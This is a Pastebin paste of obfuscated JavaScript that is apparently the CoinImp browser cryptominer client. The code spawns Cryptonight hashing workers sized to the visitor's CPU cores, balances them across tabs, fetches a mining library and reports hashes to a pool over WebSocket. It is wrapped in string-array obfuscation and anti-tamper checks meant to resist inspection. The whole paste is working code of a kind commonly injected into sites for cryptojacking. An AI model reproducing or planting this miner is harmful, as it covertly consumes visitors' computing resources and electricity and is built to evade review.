Advertisement
Guest User

Untitled

a guest
Nov 26th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(a, d) {
  2.     var b = function(b) {
  3.         while (--b) {
  4.             a['push'](a['shift']());
  5.         }
  6.     };
  7.     var c = function() {
  8.         var a = {
  9.             'data': {
  10.                 'key': 'cookie',
  11.                 'value': 'timeout'
  12.             },
  13.             'setCookie': function(b, h, i, e) {
  14.                 e = e || {};
  15.                 var c = h + '=' + i;
  16.                 var a = 0x0;
  17.                 for (var a = 0x0, f = b['length']; a < f; a++) {
  18.                     var g = b[a];
  19.                     c += '; ' + g;
  20.                     var d = b[g];
  21.                     b['push'](d);
  22.                     f = b['length'];
  23.                     if (d !== !![]) {
  24.                         c += '=' + d;
  25.                     }
  26.                 }
  27.                 e['cookie'] = c;
  28.             },
  29.             'removeCookie': function() {
  30.                 return 'dev';
  31.             },
  32.             'getCookie': function(a, f) {
  33.                 a = a || function(a) {
  34.                     return a;
  35.                 };
  36.                 var c = a(new RegExp('(?:^|; )' + f['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
  37.                 var e = function(a, b) {
  38.                     a(++b);
  39.                 };
  40.                 e(b, d);
  41.                 return c ? decodeURIComponent(c[0x1]) : undefined;
  42.             }
  43.         };
  44.         var e = function() {
  45.             var b = new RegExp('\w+ *\(\) *{\w+ *['|"].+['|"];? *}');
  46.            return b['test'](a['removeCookie']['toString']());
  47.        };
  48.        a['updateCookie'] = e;
  49.        var f = '';
  50.        var c = a['updateCookie']();
  51.        if (!c) {
  52.            a['setCookie'](['*'], 'counter', 0x1);
  53.        } else if (c) {
  54.            f = a['getCookie'](null, 'counter');
  55.        } else {
  56.            a['removeCookie']();
  57.        }
  58.    };
  59.    c();
  60. }(_0x160a, 0x1f3));
  61. var _0xa160 = function(b, e) {
  62.    b = b - 0x0;
  63.    var a = _0x160a[b];
  64.    if (_0xa160['initialized'] === undefined) {
  65.        (function() {
  66.            var a;
  67.            try {
  68.                var b = Function('return (function() ' + '{}.constructor("return this")( )' + ');');
  69.                a = b();
  70.            } catch (b) {
  71.                a = window;
  72.            }
  73.            var c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  74.            a['atob'] || (a['atob'] = function(h) {
  75.                var f = String(h)['replace'](/=+$/, '');
  76.                for (var b = 0x0, d, a, g = 0x0, e = ''; a = f['charAt'](g++); ~a && (d = b % 0x4 ? d * 0x40 + a : a, b++ % 0x4) ? e += String['fromCharCode'](0xff & d >> (-0x2 * b & 0x6)) : 0x0) {
  77.                    a = c['indexOf'](a);
  78.                }
  79.                return e;
  80.            });
  81.        }());
  82.        _0xa160['base64DecodeUnicode'] = function(e) {
  83.            var b = atob(e);
  84.            var c = [];
  85.            for (var a = 0x0, d = b['length']; a < d; a++) {
  86.                c += '%' + ('00' + b['charCodeAt'](a)['toString'](0x10))['slice'](-0x2);
  87.            }
  88.            return decodeURIComponent(c);
  89.        };
  90.        _0xa160['data'] = {};
  91.        _0xa160['initialized'] = !![];
  92.    }
  93.    var d = _0xa160['data'][b];
  94.    if (d === undefined) {
  95.        var c = function(a) {
  96.            this['rc4Bytes'] = a;
  97.            this['states'] = [0x1, 0x0, 0x0];
  98.            this['newState'] = function() {
  99.                return 'newState';
  100.            };
  101.            this['firstState'] = '\w+ *\(\) *{\w+ *';
  102.            this['secondState'] = '['|"].+['|"];? *}';
  103.        };
  104.        c['prototype']['checkState'] = function() {
  105.            var a = new RegExp(this['firstState'] + this['secondState']);
  106.            return this['runState'](a['test'](this['newState']['toString']()) ? --this['states'][0x1] : --this['states'][0x0]);
  107.        };
  108.        c['prototype']['runState'] = function(a) {
  109.            if (!Boolean(~a)) {
  110.                return a;
  111.            }
  112.            return this['getState'](this['rc4Bytes']);
  113.        };
  114.        c['prototype']['getState'] = function(c) {
  115.            for (var a = 0x0, b = this['states']['length']; a < b; a++) {
  116.                this['states']['push'](Math['round'](Math['random']()));
  117.                b = this['states']['length'];
  118.            }
  119.            return c(this['states'][0x0]);
  120.        };
  121.        new c(_0xa160)['checkState']();
  122.        a = _0xa160['base64DecodeUnicode'](a);
  123.        _0xa160['data'][b] = a;
  124.    } else {
  125.        a = d;
  126.    }
  127.    return a;
  128. };
  129. (function(b) {
  130.    var c = function() {
  131.        var a = !![];
  132.        return function(d, b) {
  133.            var c = a ? function() {
  134.                if (b) {
  135.                    var a = b['apply'](d, arguments);
  136.                    b = null;
  137.                    return a;
  138.                }
  139.            } : function() {};
  140.            a = ![];
  141.            return c;
  142.        };
  143.    }();
  144.    var d = c(this, function() {
  145.        var b = function() {
  146.                return 'dev';
  147.            },
  148.            c = function() {
  149.                return 'window';
  150.            };
  151.        var d = function() {
  152.            var a = new RegExp('\w+ *\(\) *{\w+ *['|"].+['|"];? *}');
  153.             return !a['test'](b['toString']());
  154.         };
  155.         var e = function() {
  156.             var a = new RegExp('(\\[x|u](\w){2,4})+');
  157.             return a['test'](c['toString']());
  158.         };
  159.         var a = function(a) {
  160.             var b = ~-0x1 >> 0x1 + 0xff % 0x0;
  161.             if (a['indexOf']('i' === b)) {
  162.                 f(a);
  163.             }
  164.         };
  165.         var f = function(b) {
  166.             var c = ~-0x4 >> 0x1 + 0xff % 0x0;
  167.             if (b['indexOf']((!![] + '')[0x3]) !== c) {
  168.                 a(b);
  169.             }
  170.         };
  171.         if (!d()) {
  172.             if (!e()) {
  173.                 a('ind\u0435xOf');
  174.             } else {
  175.                 a('indexOf');
  176.             }
  177.         } else {
  178.             a('ind\u0435xOf');
  179.         }
  180.     });
  181.     d();
  182.     'use strict';
  183.     var a = function(c, d) {
  184.         this[_0xa160('0x0')] = d || {};
  185.         this[_0xa160('0x1')] = c;
  186.         this[_0xa160('0x2')] = null;
  187.         this[_0xa160('0x3')] = [];
  188.         this['_hashes'] = 0x0;
  189.         this[_0xa160('0x4')] = null;
  190.         this[_0xa160('0x5')] = !![];
  191.         this['_reconnectRetry'] = 0x3;
  192.         this['_tokenFromServer'] = null;
  193.         this['_goal'] = 0x0;
  194.         this[_0xa160('0x6')] = 0x0;
  195.         this[_0xa160('0x7')] = Math[_0xa160('0x8')](0x0, Math[_0xa160('0x9')](0.99, this[_0xa160('0x0')][_0xa160('0xa')] || 0x0));
  196.         this[_0xa160('0xb')] = ![];
  197.         this[_0xa160('0xc')] = ![];
  198.         this[_0xa160('0xd')] = {
  199.             'enabled': !!this[_0xa160('0x0')][_0xa160('0xe')],
  200.             'interval': null,
  201.             'adjustAt': null,
  202.             'adjustEvery': 0x2710,
  203.             'stats': {}
  204.         };
  205.         this['_tab'] = {
  206.             'ident': Math[_0xa160('0xf')]() * 0xffffff | 0x0,
  207.             'mode': Client[_0xa160('0x10')],
  208.             'grace': 0x0,
  209.             'waitReconnect': 0x0,
  210.             'lastPingReceived': 0x0,
  211.             'interval': null
  212.         };
  213.         if (b[_0xa160('0x11')]) {
  214.             try {
  215.                 this[_0xa160('0x12')] = new BroadcastChannel(_0xa160('0x13'));
  216.                 this[_0xa160('0x12')]['onmessage'] = function(a) {
  217.                     if (a['data'] === 'ping') {
  218.                         this[_0xa160('0x14')][_0xa160('0x15')] = Date['now']();
  219.                     }
  220.                 }[_0xa160('0x16')](this);
  221.             } catch (a) {}
  222.         }
  223.         if (Client['CONFIG'][_0xa160('0x17')]) {
  224.             this[_0xa160('0x18')] = new Client[(_0xa160('0x19'))](this[_0xa160('0x1')], {
  225.                 'theme': this[_0xa160('0x0')][_0xa160('0x1a')] || 'light',
  226.                 'lang': this[_0xa160('0x0')][_0xa160('0x1b')] || _0xa160('0x1c')
  227.             });
  228.         }
  229.         this['_eventListeners'] = {
  230.             'open': [],
  231.             'authed': [],
  232.             'close': [],
  233.             'error': [],
  234.             'job': [],
  235.             'found': [],
  236.             'accepted': [],
  237.             'optin': []
  238.         };
  239.         var a = navigator[_0xa160('0x1d')] || 0x4;
  240.         this['_targetNumThreads'] = this[_0xa160('0x0')][_0xa160('0x1e')] || a;
  241.         this[_0xa160('0x1f')] = this[_0xa160('0x20')]() && !this[_0xa160('0x0')][_0xa160('0x21')];
  242.         this[_0xa160('0x22')] = _0xa160('0x23');
  243.         this['_onTargetMetBound'] = this[_0xa160('0x24')]['bind'](this);
  244.         this[_0xa160('0x25')] = this[_0xa160('0x26')][_0xa160('0x16')](this);
  245.     };
  246.     a[_0xa160('0x27')][_0xa160('0x28')] = function(c, d) {
  247.         this[_0xa160('0x14')][_0xa160('0x29')] = c || Client[_0xa160('0x10')];
  248.         this[_0xa160('0x2a')] = d;
  249.         if (this[_0xa160('0x14')][_0xa160('0x2b')]) {
  250.             clearInterval(this[_0xa160('0x14')]['interval']);
  251.             this[_0xa160('0x14')]['interval'] = null;
  252.         }
  253.         if (this[_0xa160('0x1f')] || this[_0xa160('0x22')] === _0xa160('0x2c')) {
  254.             this[_0xa160('0x2d')]();
  255.         } else if (this[_0xa160('0x22')] === _0xa160('0x23')) {
  256.             this['_asmjsStatus'] = _0xa160('0x2e');
  257.             var a = new XMLHttpRequest();
  258.             a[_0xa160('0x2f')](_0xa160('0x30'), function() {
  259.                 Client[_0xa160('0x31')] = b[_0xa160('0x32')][_0xa160('0x33')](new Blob([a[_0xa160('0x34')]]));
  260.                 this[_0xa160('0x22')] = 'loaded';
  261.                 this['_startNow']();
  262.             }[_0xa160('0x16')](this), a);
  263.             a['open']('get', Client[_0xa160('0x35')]['LIB_URL'] + Client[_0xa160('0x35')][_0xa160('0x36')], !![]);
  264.             a[_0xa160('0x37')]();
  265.         }
  266.     };
  267.     a['prototype'][_0xa160('0x38')] = function(b) {
  268.         for (var a = 0x0; a < this[_0xa160('0x3')][_0xa160('0x39')]; a++) {
  269.             this[_0xa160('0x6')] += this['_threads'][a]['hashesTotal'];
  270.             this[_0xa160('0x3')][a][_0xa160('0x38')]();
  271.         }
  272.         this['_threads'] = [];
  273.         this[_0xa160('0x5')] = ![];
  274.         if (this['_socket']) {
  275.             this['_socket']['close']();
  276.         }
  277.         this[_0xa160('0x4')] = null;
  278.         if (this[_0xa160('0xd')][_0xa160('0x2b')]) {
  279.             clearInterval(this['_autoThreads'][_0xa160('0x2b')]);
  280.             this[_0xa160('0xd')][_0xa160('0x2b')] = null;
  281.         }
  282.         if (this[_0xa160('0x14')]['interval'] && b !== _0xa160('0x3a')) {
  283.             clearInterval(this['_tab'][_0xa160('0x2b')]);
  284.             this[_0xa160('0x14')][_0xa160('0x2b')] = null;
  285.         }
  286.     };
  287.     a[_0xa160('0x27')][_0xa160('0x3b')] = function() {
  288.         var b = 0x0;
  289.         for (var a = 0x0; a < this[_0xa160('0x3')]['length']; a++) {
  290.             b += this[_0xa160('0x3')][a]['hashesPerSecond'];
  291.         }
  292.         return b;
  293.     };
  294.     a[_0xa160('0x27')][_0xa160('0x3c')] = function(f) {
  295.         var d = Date[_0xa160('0x3d')]();
  296.         var a = this[_0xa160('0x6')];
  297.         for (var b = 0x0; b < this[_0xa160('0x3')][_0xa160('0x39')]; b++) {
  298.             var c = this[_0xa160('0x3')][b];
  299.             a += c[_0xa160('0x3e')];
  300.             if (f) {
  301.                 var e = (d - c[_0xa160('0x3f')]) / 0x3e8 * 0.9;
  302.                 a += e * c[_0xa160('0x40')];
  303.             }
  304.         }
  305.         return a | 0x0;
  306.     };
  307.     a['prototype'][_0xa160('0x41')] = function() {
  308.         return this[_0xa160('0x42')];
  309.     };
  310.     a[_0xa160('0x27')][_0xa160('0x43')] = function() {
  311.         return this[_0xa160('0x44')];
  312.     };
  313.     a[_0xa160('0x27')]['on'] = function(a, b) {
  314.         if (this[_0xa160('0x45')][a]) {
  315.             this[_0xa160('0x45')][a][_0xa160('0x46')](b);
  316.         }
  317.     };
  318.     a['prototype'][_0xa160('0x47')] = function(a) {
  319.         return this[_0xa160('0xd')][_0xa160('0x48')];
  320.     };
  321.     a[_0xa160('0x27')][_0xa160('0x49')] = function(a) {
  322.         this[_0xa160('0xd')][_0xa160('0x48')] = !!a;
  323.         if (!a && this['_autoThreads']['interval']) {
  324.             clearInterval(this[_0xa160('0xd')][_0xa160('0x2b')]);
  325.             this['_autoThreads'][_0xa160('0x2b')] = null;
  326.         }
  327.         if (a && !this['_autoThreads'][_0xa160('0x2b')]) {
  328.             this[_0xa160('0xd')][_0xa160('0x4a')] = Date[_0xa160('0x3d')]() + this[_0xa160('0xd')][_0xa160('0x4b')];
  329.             this[_0xa160('0xd')][_0xa160('0x2b')] = setInterval(this[_0xa160('0x4c')][_0xa160('0x16')](this), 0x3e8);
  330.         }
  331.     };
  332.     a[_0xa160('0x27')][_0xa160('0x4d')] = function() {
  333.         return this[_0xa160('0x7')];
  334.     };
  335.     a[_0xa160('0x27')]['setThrottle'] = function(a) {
  336.         this[_0xa160('0x7')] = Math[_0xa160('0x8')](0x0, Math[_0xa160('0x9')](0.99, a));
  337.         if (this[_0xa160('0x4')]) {
  338.             this['_setJob'](this[_0xa160('0x4')]);
  339.         }
  340.     };
  341.     a['prototype'][_0xa160('0x4e')] = function() {
  342.         return this[_0xa160('0x4f')];
  343.     };
  344.     a[_0xa160('0x27')][_0xa160('0x50')] = function(a) {
  345.         var a = Math[_0xa160('0x8')](0x1, a | 0x0);
  346.         this[_0xa160('0x4f')] = a;
  347.         if (a > this['_threads'][_0xa160('0x39')]) {
  348.             for (var c = 0x0; a > this[_0xa160('0x3')]['length']; c++) {
  349.                 var b = new Client[(_0xa160('0x51'))]();
  350.                 if (this[_0xa160('0x4')]) {
  351.                     b[_0xa160('0x52')](this[_0xa160('0x4')], this['_onTargetMetBound']);
  352.                 }
  353.                 this[_0xa160('0x3')][_0xa160('0x46')](b);
  354.             }
  355.         } else if (a < this[_0xa160('0x3')]['length']) {
  356.             while (a < this[_0xa160('0x3')][_0xa160('0x39')]) {
  357.                 var b = this[_0xa160('0x3')][_0xa160('0x53')]();
  358.                 this['_totalHashesFromDeadThreads'] += b[_0xa160('0x3e')];
  359.                 b[_0xa160('0x38')]();
  360.             }
  361.         }
  362.     };
  363.     a[_0xa160('0x27')][_0xa160('0x20')] = function() {
  364.         return b['WebAssembly'] !== undefined;
  365.     };
  366.     a[_0xa160('0x27')]['isRunning'] = function() {
  367.         return this[_0xa160('0x3')][_0xa160('0x39')] > 0x0;
  368.     };
  369.     a[_0xa160('0x27')]['isMobile'] = function() {
  370.         return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i [_0xa160('0x54')](navigator[_0xa160('0x55')]);
  371.     };
  372.     a['prototype'][_0xa160('0x56')] = function(a) {
  373.         if (!Client[_0xa160('0x35')]['REQUIRES_AUTH']) {
  374.             return ![];
  375.         }
  376.         a = a || 0x3c * 0x3c * 0x4;
  377.         var b = this[_0xa160('0x18')]['getOptOutTime']();
  378.         return !!(b && b > Date[_0xa160('0x3d')]() / 0x3e8 - a);
  379.     };
  380.     a['prototype']['_startNow'] = function() {
  381.         if (this['_tab'][_0xa160('0x29')] !== Client[_0xa160('0x57')] && !this[_0xa160('0x14')][_0xa160('0x2b')]) {
  382.             this['_tab'][_0xa160('0x2b')] = setInterval(this['_updateTabs'][_0xa160('0x16')](this), 0x3e8);
  383.         }
  384.         if (this[_0xa160('0x14')][_0xa160('0x29')] === Client[_0xa160('0x10')] && this[_0xa160('0x58')]()) {
  385.             return;
  386.         }
  387.         if (this[_0xa160('0x14')][_0xa160('0x29')] === Client[_0xa160('0x59')]) {
  388.             this[_0xa160('0x14')][_0xa160('0x5a')] = Date[_0xa160('0x3d')]() + 0xbb8;
  389.         }
  390.         if (!this[_0xa160('0x5b')]) {
  391.             this[_0xa160('0x5b')] = new Client[(_0xa160('0x51'))]();
  392.         }
  393.         this['setNumThreads'](this['_targetNumThreads']);
  394.         this[_0xa160('0x5')] = !![];
  395.         if (Client[_0xa160('0x35')][_0xa160('0x17')] && !this['_optInToken']) {
  396.             this['_waitingForAuth'] = !![];
  397.             this[_0xa160('0x18')]['auth'](function(a) {
  398.                 this[_0xa160('0xc')] = ![];
  399.                 if (!a) {
  400.                     this['stop']();
  401.                     this[_0xa160('0x5c')](_0xa160('0x5d'), {
  402.                         'status': _0xa160('0x5e')
  403.                     });
  404.                     this['_emit']('error', {
  405.                         'error': _0xa160('0x5f')
  406.                     });
  407.                     return;
  408.                 }
  409.                 this[_0xa160('0x5c')](_0xa160('0x5d'), {
  410.                     'status': _0xa160('0x60')
  411.                 });
  412.                 this[_0xa160('0x2a')] = a;
  413.                 this[_0xa160('0x61')]();
  414.             }[_0xa160('0x16')](this));
  415.         } else {
  416.             this[_0xa160('0x61')]();
  417.         }
  418.     };
  419.     a[_0xa160('0x27')][_0xa160('0x58')] = function() {
  420.         if (this['_tab'][_0xa160('0x15')] > Date[_0xa160('0x3d')]() - 0x5dc) {
  421.             return !![];
  422.         }
  423.         try {
  424.             var a = localStorage[_0xa160('0x62')]('coinimp');
  425.             if (a) {
  426.                 var b = JSON[_0xa160('0x63')](a);
  427.                 if (b[_0xa160('0x64')] !== this['_tab'][_0xa160('0x64')] && Date[_0xa160('0x3d')]() - b['time'] < 0x5dc) {
  428.                     return !![];
  429.                 }
  430.             }
  431.         } catch (a) {}
  432.         return ![];
  433.     };
  434.     a['prototype']['_updateTabs'] = function() {
  435.         if (Date[_0xa160('0x3d')]() < this[_0xa160('0x14')][_0xa160('0x65')]) {
  436.             return;
  437.         }
  438.         var a = this[_0xa160('0x58')]();
  439.         if (a && this[_0xa160('0x66')]() && Date[_0xa160('0x3d')]() > this[_0xa160('0x14')][_0xa160('0x5a')]) {
  440.             this[_0xa160('0x38')](_0xa160('0x3a'));
  441.         } else if (!a && !this[_0xa160('0x66')]()) {
  442.             this[_0xa160('0x2d')]();
  443.         }
  444.         if (this[_0xa160('0x66')]() && !this[_0xa160('0xc')]) {
  445.             if (this[_0xa160('0x12')]) {
  446.                 this['_bc'][_0xa160('0x67')](_0xa160('0x68'));
  447.             }
  448.             try {
  449.                 localStorage[_0xa160('0x69')](_0xa160('0x13'), JSON[_0xa160('0x6a')]({
  450.                     'ident': this[_0xa160('0x14')][_0xa160('0x64')],
  451.                     'time': Date[_0xa160('0x3d')]()
  452.                 }));
  453.             } catch (a) {}
  454.         }
  455.     };
  456.     a['prototype'][_0xa160('0x4c')] = function() {
  457.         var f = this['getHashesPerSecond']();
  458.         var a = this[_0xa160('0x4e')]();
  459.         var b = this[_0xa160('0xd')][_0xa160('0x6b')];
  460.         b[a] = b[a] ? b[a] * 0.5 + f * 0.5 : f;
  461.         if (Date[_0xa160('0x3d')]() > this[_0xa160('0xd')][_0xa160('0x4a')]) {
  462.             this[_0xa160('0xd')][_0xa160('0x4a')] = Date['now']() + this[_0xa160('0xd')]['adjustEvery'];
  463.             var c = (b[a] || 0x0) - 0x1;
  464.             var d = b[a + 0x1] || 0x0;
  465.             var e = b[a - 0x1] || 0x0;
  466.             if (c > e && (d === 0x0 || d > c) && a < 0x8) {
  467.                 return this[_0xa160('0x50')](a + 0x1);
  468.             } else if (c > d && (!e || e > c) && a > 0x1) {
  469.                 return this[_0xa160('0x50')](a - 0x1);
  470.             }
  471.         }
  472.     };
  473.     a[_0xa160('0x27')][_0xa160('0x5c')] = function(c, d) {
  474.         var a = this['_eventListeners'][c];
  475.         if (a && a[_0xa160('0x39')]) {
  476.             for (var b = 0x0; b < a[_0xa160('0x39')]; b++) {
  477.                 a[b](d);
  478.             }
  479.         }
  480.     };
  481.     a[_0xa160('0x27')][_0xa160('0x6c')] = function(c) {
  482.         var a = 0x1505,
  483.             b = c['length'];
  484.         while (b) {
  485.             a = a * 0x21 ^ c[_0xa160('0x6d')](--b);
  486.         }
  487.         return a >>> 0x0;
  488.     };
  489.     a[_0xa160('0x27')][_0xa160('0x61')] = function() {
  490.         if (this[_0xa160('0x6e')]) {
  491.             return;
  492.         }
  493.         var a = Client['CONFIG']['WEBSOCKET_SHARDS'];
  494.         var c = this[_0xa160('0x6c')](this[_0xa160('0x1')]) % a[_0xa160('0x39')];
  495.         var b = a[c];
  496.         var d = b[Math['random']() * b[_0xa160('0x39')] | 0x0];
  497.         this[_0xa160('0x6e')] = new WebSocket(d);
  498.         this[_0xa160('0x6e')][_0xa160('0x6f')] = this[_0xa160('0x70')][_0xa160('0x16')](this);
  499.         this[_0xa160('0x6e')][_0xa160('0x71')] = this['_onError'][_0xa160('0x16')](this);
  500.         this[_0xa160('0x6e')][_0xa160('0x72')] = this[_0xa160('0x73')]['bind'](this);
  501.         this['_socket']['onopen'] = this[_0xa160('0x74')][_0xa160('0x16')](this);
  502.     };
  503.     a[_0xa160('0x27')][_0xa160('0x74')] = function(b) {
  504.         this[_0xa160('0x5c')](_0xa160('0x75'));
  505.         var a = {
  506.             'site_key': this[_0xa160('0x1')],
  507.             'type': _0xa160('0x76'),
  508.             'user': null,
  509.             'goal': 0x0
  510.         };
  511.         if (this['_user']) {
  512.             a[_0xa160('0x77')] = _0xa160('0x78');
  513.             a[_0xa160('0x78')] = this[_0xa160('0x2')][_0xa160('0x79')]();
  514.         } else if (this[_0xa160('0x7a')]) {
  515.             a[_0xa160('0x77')] = _0xa160('0x7b');
  516.             a[_0xa160('0x7c')] = this[_0xa160('0x7a')];
  517.         }
  518.         if (this[_0xa160('0x0')]['ref']) {
  519.             a['ref'] = this[_0xa160('0x0')]['ref'];
  520.         }
  521.         if (this[_0xa160('0x2a')]) {
  522.             a[_0xa160('0x7d')] = this[_0xa160('0x2a')];
  523.         }
  524.         this[_0xa160('0x7e')](_0xa160('0x7f'), a);
  525.     };
  526.     a['prototype']['_onError'] = function(a) {
  527.         this[_0xa160('0x5c')](_0xa160('0x80'), {
  528.             'error': _0xa160('0x81')
  529.         });
  530.         this[_0xa160('0x73')](a);
  531.     };
  532.     a['prototype'][_0xa160('0x73')] = function(b) {
  533.         if (b[_0xa160('0x82')] >= 0x3eb && b[_0xa160('0x82')] <= 0x3f1) {
  534.             this[_0xa160('0x83')] = 0x3c;
  535.             this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x3c * 0x3e8;
  536.         }
  537.         for (var a = 0x0; a < this[_0xa160('0x3')]['length']; a++) {
  538.             this[_0xa160('0x3')][a][_0xa160('0x38')]();
  539.         }
  540.         this[_0xa160('0x3')] = [];
  541.         this[_0xa160('0x6e')] = null;
  542.         this[_0xa160('0x5c')]('close');
  543.         if (this[_0xa160('0x5')]) {
  544.             setTimeout(this[_0xa160('0x2d')][_0xa160('0x16')](this), this[_0xa160('0x83')] * 0x3e8);
  545.         }
  546.     };
  547.     a[_0xa160('0x27')]['_onMessage'] = function(b) {
  548.         var a = JSON[_0xa160('0x63')](b['data']);
  549.         if (a[_0xa160('0x77')] === _0xa160('0x84')) {
  550.             this[_0xa160('0x85')](a[_0xa160('0x0')]);
  551.             this[_0xa160('0x5c')](_0xa160('0x84'), a['params']);
  552.             if (this[_0xa160('0xd')][_0xa160('0x48')] && !this['_autoThreads']['interval']) {
  553.                 this[_0xa160('0xd')][_0xa160('0x4a')] = Date[_0xa160('0x3d')]() + this[_0xa160('0xd')][_0xa160('0x4b')];
  554.                 this['_autoThreads'][_0xa160('0x2b')] = setInterval(this[_0xa160('0x4c')][_0xa160('0x16')](this), 0x3e8);
  555.             }
  556.         } else if (a[_0xa160('0x77')] === _0xa160('0x86')) {
  557.             this[_0xa160('0x5b')][_0xa160('0x86')](a[_0xa160('0x0')], this[_0xa160('0x25')]);
  558.         } else if (a[_0xa160('0x77')] === 'hash_accepted') {
  559.             this['_hashes'] = a[_0xa160('0x0')][_0xa160('0x87')];
  560.             this[_0xa160('0x5c')](_0xa160('0x60'), a[_0xa160('0x0')]);
  561.             if (this[_0xa160('0x7a')] && this[_0xa160('0x42')] >= this[_0xa160('0x7a')]) {
  562.                 this[_0xa160('0x38')]();
  563.             }
  564.         } else if (a[_0xa160('0x77')] === _0xa160('0x88')) {
  565.             this[_0xa160('0x44')] = a['params'][_0xa160('0x7b')] || null;
  566.             this[_0xa160('0x42')] = a[_0xa160('0x0')][_0xa160('0x87')] || 0x0;
  567.             this[_0xa160('0x5c')](_0xa160('0x88'), a[_0xa160('0x0')]);
  568.             this[_0xa160('0x83')] = 0x3;
  569.             this[_0xa160('0x14')][_0xa160('0x65')] = 0x0;
  570.         } else if (a['type'] === _0xa160('0x80')) {
  571.             if (console && console[_0xa160('0x80')]) {
  572.                 console[_0xa160('0x80')]('Coinimp Error:', a[_0xa160('0x0')][_0xa160('0x80')]);
  573.             }
  574.             this[_0xa160('0x5c')](_0xa160('0x80'), a[_0xa160('0x0')]);
  575.             if (a[_0xa160('0x0')][_0xa160('0x80')] === _0xa160('0x89')) {
  576.                 this[_0xa160('0x83')] = 0x1770;
  577.                 this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x1770 * 0x3e8;
  578.             } else if (a[_0xa160('0x0')][_0xa160('0x80')] === 'invalid_opt_in') {
  579.                 if (this[_0xa160('0xb')]) {
  580.                     return this[_0xa160('0x38')]();
  581.                 } else if (this[_0xa160('0x18')]) {
  582.                     this[_0xa160('0x18')][_0xa160('0x8a')]();
  583.                 }
  584.             }
  585.         }
  586.         if (a[_0xa160('0x77')] === _0xa160('0x8b') || a['params'][_0xa160('0x8b')]) {
  587.             this[_0xa160('0x5c')](_0xa160('0x80'), {
  588.                 'banned': !![]
  589.             });
  590.             this[_0xa160('0x83')] = 0x258;
  591.             this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x258 * 0x3e8;
  592.         }
  593.     };
  594.     a[_0xa160('0x27')]['_setJob'] = function(b) {
  595.         this[_0xa160('0x4')] = b;
  596.         this[_0xa160('0x4')][_0xa160('0xa')] = this[_0xa160('0x7')];
  597.         for (var a = 0x0; a < this[_0xa160('0x3')][_0xa160('0x39')]; a++) {
  598.             this['_threads'][a][_0xa160('0x52')](b, this[_0xa160('0x8c')]);
  599.         }
  600.     };
  601.     a['prototype'][_0xa160('0x24')] = function(a) {
  602.         this[_0xa160('0x5c')](_0xa160('0x8d'), a);
  603.         if (a[_0xa160('0x8e')] === this[_0xa160('0x4')][_0xa160('0x8e')]) {
  604.             this[_0xa160('0x7e')](_0xa160('0x8f'), {
  605.                 'job_id': a['job_id'],
  606.                 'nonce': a[_0xa160('0x90')],
  607.                 'result': a[_0xa160('0x91')]
  608.             });
  609.         }
  610.     };
  611.     a[_0xa160('0x27')]['_onVerified'] = function(a) {
  612.         this[_0xa160('0x7e')](_0xa160('0x92'), a);
  613.     };
  614.     a[_0xa160('0x27')][_0xa160('0x7e')] = function(b, c) {
  615.         if (!this[_0xa160('0x6e')]) {
  616.             return;
  617.         }
  618.         var a = {
  619.             'type': b,
  620.             'params': c || {}
  621.         };
  622.         this[_0xa160('0x6e')]['send'](JSON[_0xa160('0x6a')](a));
  623.     };
  624.     b[_0xa160('0x93')] = b[_0xa160('0x93')] || {};
  625.     b[_0xa160('0x93')][_0xa160('0x10')] = 'ifExclusiveTab';
  626.     b[_0xa160('0x93')][_0xa160('0x59')] = _0xa160('0x94');
  627.     b[_0xa160('0x93')]['FORCE_MULTI_TAB'] = 'forceMultiTab';
  628.     b['Client'][_0xa160('0x95')] = function(c, d, e) {
  629.         var b = new a(c, e);
  630.         b[_0xa160('0x7a')] = d || 0x0;
  631.         return b;
  632.     };
  633.     b[_0xa160('0x93')][_0xa160('0x96')] = function(c, d, e) {
  634.         var b = new a(c, e);
  635.         b[_0xa160('0x2')] = d;
  636.         return b;
  637.     };
  638.     b[_0xa160('0x93')]['Anonymous'] = function(c, d) {
  639.         var b = new a(c, d);
  640.         return b;
  641.     };
  642. }(window));
  643. (function(b) {
  644.     'use strict';
  645.     var a = function() {
  646.         this[_0xa160('0x97')] = new Worker(Client['CRYPTONIGHT_WORKER_BLOB']);
  647.         this[_0xa160('0x97')][_0xa160('0x6f')] = this[_0xa160('0x98')]['bind'](this);
  648.         this[_0xa160('0x99')] = null;
  649.         this[_0xa160('0x9a')] = function() {};
  650.         this[_0xa160('0x9b')] = function() {};
  651.         this[_0xa160('0x9c')] = ![];
  652.         this[_0xa160('0x40')] = 0x0;
  653.         this[_0xa160('0x3e')] = 0x0;
  654.         this['running'] = ![];
  655.         this[_0xa160('0x3f')] = Date[_0xa160('0x3d')]();
  656.     };
  657.     a[_0xa160('0x27')][_0xa160('0x98')] = function(a) {
  658.         if (a[_0xa160('0x9d')] !== _0xa160('0x9e') || this[_0xa160('0x9c')]) {
  659.             throw 'Expecting first message to be "ready", got ' + a;
  660.         }
  661.         this[_0xa160('0x9c')] = !![];
  662.         this[_0xa160('0x97')][_0xa160('0x6f')] = this[_0xa160('0x9f')][_0xa160('0x16')](this);
  663.         if (this[_0xa160('0x99')]) {
  664.             this[_0xa160('0xa0')] = !![];
  665.             this[_0xa160('0x97')][_0xa160('0x67')](this[_0xa160('0x99')]);
  666.         }
  667.     };
  668.     a[_0xa160('0x27')]['onReceiveMsg'] = function(a) {
  669.         if (a['data'][_0xa160('0xa1')]) {
  670.             this[_0xa160('0x9b')](a[_0xa160('0x9d')]);
  671.             return;
  672.         }
  673.         if (a['data']['result']) {
  674.             this[_0xa160('0x9a')](a[_0xa160('0x9d')]);
  675.         }
  676.         this[_0xa160('0x40')] = this[_0xa160('0x40')] * 0.5 + a['data'][_0xa160('0x40')] * 0.5;
  677.         this[_0xa160('0x3e')] += a[_0xa160('0x9d')][_0xa160('0x87')];
  678.         this[_0xa160('0x3f')] = Date[_0xa160('0x3d')]();
  679.         if (this[_0xa160('0xa0')]) {
  680.             this[_0xa160('0x97')]['postMessage'](this[_0xa160('0x99')]);
  681.         }
  682.     };
